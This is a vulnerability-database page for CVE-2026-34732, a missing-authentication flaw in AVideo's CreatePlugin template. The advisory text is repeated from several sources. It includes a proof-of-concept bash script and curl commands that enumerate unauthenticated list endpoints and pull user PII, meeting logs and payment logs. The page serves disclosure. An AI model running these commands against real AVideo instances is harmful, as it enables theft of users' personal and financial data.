Every CVE Search/ Get API key

CVE-2026-34732

AVideo: Missing Authentication in CreatePlugin list.json.php Template Affects 21 Endpoints

5.3 Medium

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records. At time of publication, there are no publicly available patches.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
None
Availability
None

Exploit likelihood

0.38%Up 0.3 points since Apr 1, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.3

AVideo: Missing Authentication in CreatePlugin list.json.php Template Affects 21 Endpoints

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records. At time of publication, there are no publicly available patches.

Record
CVE-2026-34732
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-306
Updated
2026-11-02
EUVDEUVD-2026-17650 5.3

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records. At time of publication, there are no publicly available patches.

Record
EUVD-2026-17650
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-g2mg-cgr6-vmv7 5.3

AVideo: Missing Authentication in CreatePlugin list.json.php Template Affects 21 Endpoints

Summary

The AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.

Details

The list.json.php template in CreatePlugin/templates/ lacks any authentication check. Comparing with the sibling templates:

// CreatePlugin/templates/add.json.php:12
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

// CreatePlugin/templates/delete.json.php:11
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

// CreatePlugin/templates/list.json.php
// NO authentication check - accessible to anyone

This template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated list.json.php inherits the missing auth check, exposing the table contents to unauthenticated requests.

Confirmed on a live instance, the Meet plugin's join log endpoint returns full records without authentication:

GET /plugin/Meet/View/Meet_join_log/list.json.php HTTP/1.1

Response (HTTP 200):

{
  "data": [
    {
      "id": 1,
      "users_id": 42,
      "ip": "REDACTED",
      "user_agent": "Mozilla/5.0 ...",
      "created": "2025-01-15 14:32:00",
      "room_name": "private-meeting-xyz"
    }
  ]
}

The 21 affected endpoints generated from this template include:

| Endpoint | Exposed Data | |----------|-------------| | plugin/Meet/View/Meet_join_log/list.json.php | User IDs, IP addresses, user agents, timestamps, room names | | plugin/PayPalYPT/View/PayPalYPT_log/list.json.php | PayPal transaction logs, payment amounts, buyer info | | plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php | Payment webhook data, transaction details | | plugin/CustomizeUser/View/Users_extra_info/list.json.php | Extended user profile data, PII fields | | plugin/UserNotifications/View/User_notifications/list.json.php | User notification records, activity patterns | | plugin/UserConnections/View/Users_connections/list.json.php | Social connection graphs between users | | And 15+ additional plugin endpoints | Various internal records |

Proof of Concept

Step 1: Enumerate accessible list endpoints (no authentication required):

#!/bin/bash
TARGET="https://your-avideo-instance.com"

ENDPOINTS=(
  "plugin/Meet/View/Meet_join_log/list.json.php"
  "plugin/PayPalYPT/View/PayPalYPT_log/list.json.php"
  "plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php"
  "plugin/CustomizeUser/View/Users_extra_info/list.json.php"
  "plugin/UserNotifications/View/User_notifications/list.json.php"
  "plugin/UserConnections/View/Users_connections/list.json.php"
)

for endpoint in "${ENDPOINTS[@]}"; do
  echo "=== $endpoint ==="
  HTTP_CODE=$(curl -s -o /tmp/avi037_response.json -w "%{http_code}" "$TARGET/$endpoint")
  echo "Status: $HTTP_CODE"
  if [ "$HTTP_CODE" = "200" ]; then
    echo "VULNERABLE - Data returned:"
    python3 -m json.tool /tmp/avi037_response.json 2>/dev/null | head -20
  fi
  echo ""
done

Step 2: Retrieve paginated results from a specific endpoint:

# Fetch meeting join logs with pagination
curl -s "https://your-avideo-instance.com/plugin/Meet/View/Meet_join_log/list.json.php?length=100&start=0" \
  | python3 -m json.tool

# Fetch payment logs
curl -s "https://your-avideo-instance.com/plugin/PayPalYPT/View/PayPalYPT_log/list.json.php?length=100&start=0" \
  | python3 -m json.tool

Step 3: Discover additional vulnerable endpoints by scanning plugin directories:

curl -s "https://your-avideo-instance.com/plugin/" \…
Record
GHSA-g2mg-cgr6-vmv7
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-306
Updated
2026-11-02
NVD 5.3

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records. At time of publication, there are no publicly available patches.

Record
CVE-2026-34732
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-306
Updated
2026-11-02
OSV 5.3

AVideo: Missing Authentication in CreatePlugin list.json.php Template Affects 21 Endpoints

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records. At time of publication, there are no publicly available patches.

Record
CVE-2026-34732
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-306
Updated
2026-11-02
OSVGHSA-g2mg-cgr6-vmv7 5.3

AVideo: Missing Authentication in CreatePlugin list.json.php Template Affects 21 Endpoints

Summary

The AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.

Details

The list.json.php template in CreatePlugin/templates/ lacks any authentication check. Comparing with the sibling templates:

// CreatePlugin/templates/add.json.php:12
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

// CreatePlugin/templates/delete.json.php:11
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

// CreatePlugin/templates/list.json.php
// NO authentication check - accessible to anyone

This template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated list.json.php inherits the missing auth check, exposing the table contents to unauthenticated requests.

Confirmed on a live instance, the Meet plugin's join log endpoint returns full records without authentication:

GET /plugin/Meet/View/Meet_join_log/list.json.php HTTP/1.1

Response (HTTP 200):

{
  "data": [
    {
      "id": 1,
      "users_id": 42,
      "ip": "REDACTED",
      "user_agent": "Mozilla/5.0 ...",
      "created": "2025-01-15 14:32:00",
      "room_name": "private-meeting-xyz"
    }
  ]
}

The 21 affected endpoints generated from this template include:

| Endpoint | Exposed Data | |----------|-------------| | plugin/Meet/View/Meet_join_log/list.json.php | User IDs, IP addresses, user agents, timestamps, room names | | plugin/PayPalYPT/View/PayPalYPT_log/list.json.php | PayPal transaction logs, payment amounts, buyer info | | plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php | Payment webhook data, transaction details | | plugin/CustomizeUser/View/Users_extra_info/list.json.php | Extended user profile data, PII fields | | plugin/UserNotifications/View/User_notifications/list.json.php | User notification records, activity patterns | | plugin/UserConnections/View/Users_connections/list.json.php | Social connection graphs between users | | And 15+ additional plugin endpoints | Various internal records |

Proof of Concept

Step 1: Enumerate accessible list endpoints (no authentication required):

#!/bin/bash
TARGET="https://your-avideo-instance.com"

ENDPOINTS=(
  "plugin/Meet/View/Meet_join_log/list.json.php"
  "plugin/PayPalYPT/View/PayPalYPT_log/list.json.php"
  "plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php"
  "plugin/CustomizeUser/View/Users_extra_info/list.json.php"
  "plugin/UserNotifications/View/User_notifications/list.json.php"
  "plugin/UserConnections/View/Users_connections/list.json.php"
)

for endpoint in "${ENDPOINTS[@]}"; do
  echo "=== $endpoint ==="
  HTTP_CODE=$(curl -s -o /tmp/avi037_response.json -w "%{http_code}" "$TARGET/$endpoint")
  echo "Status: $HTTP_CODE"
  if [ "$HTTP_CODE" = "200" ]; then
    echo "VULNERABLE - Data returned:"
    python3 -m json.tool /tmp/avi037_response.json 2>/dev/null | head -20
  fi
  echo ""
done

Step 2: Retrieve paginated results from a specific endpoint:

# Fetch meeting join logs with pagination
curl -s "https://your-avideo-instance.com/plugin/Meet/View/Meet_join_log/list.json.php?length=100&start=0" \
  | python3 -m json.tool

# Fetch payment logs
curl -s "https://your-avideo-instance.com/plugin/PayPalYPT/View/PayPalYPT_log/list.json.php?length=100&start=0" \
  | python3 -m json.tool

Step 3: Discover additional vulnerable endpoints by scanning plugin directories:

curl -s "https://your-avideo-instance.com/plugin/" \…
Record
GHSA-g2mg-cgr6-vmv7
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-306
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
wwbn/avideo
Packagist
through 26.0 None known
wwbn/avideo
Packagist
through 26.0, plus listed versions
10.410.81111.111.1.1
Show 11 moreShow less
11.511.612.414.314.3.114.418.021.022.024.025.0
None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-34732 is a medium vulnerability (CVSS 5.3) in Wwbn Avideo, published March 31, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.38%, the 32nd percentile. No source names a fixed version.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open